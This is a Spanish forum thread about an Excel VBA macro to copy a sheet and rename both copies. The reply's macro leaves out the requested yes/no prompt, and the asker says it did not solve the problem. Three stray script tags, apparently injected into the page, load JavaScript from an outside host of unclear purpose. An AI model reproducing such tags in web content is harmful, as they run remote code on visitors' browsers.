Copia una hoja y renombra la otra
Necesito crear una macro que cuando pulse un botón me salga un mensaje cualquiera en el que las opciones son si o no.
Si pulsa SI, necesito que me copie una hoja y le ponga un nombre y la otra me renombre.
Ej Tengo hoja1, necesite que la copie y la que copia la ponga nombre hoja1_a y la hoja1 la renombre con HojaFinal. Por ejemplo
Y si pulsa NO que me salga un mensaje.
Es un ejemplo para un proyecto que estoy haciendo pero estoy atascado en esa parte.
Gracias Expertos
<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>1 Respuesta
Respuesta de Luis Mondelo
Te mando mi solución. Ejecuta esta macro estando en la hoja1 y listo!
Sub ejemplo() 'por luismondelo ActiveSheet.Name = "hojafinal" ActiveSheet.Copy after:=ActiveWorkbook.Sheets(ActiveWorkbook.Sheets.Count) ActiveSheet.Name = "hoja1_a" End Sub
por favor recuerda finalizar la pregunta, esto es importante
Cómo sería el código ejecutándolo desde un Módulo??
<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>
Sub ejemplo()'por luismondelosheets("hoja1").selectActiveSheet.Name = "hojafinal"ActiveSheet.Copy after:=ActiveWorkbook.Sheets(ActiveWorkbook.Sheets.Count)ActiveSheet.Name = "hoja1_a"End Subrecuerda finalizar
No me ha solucionado el problema que tengo.
<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>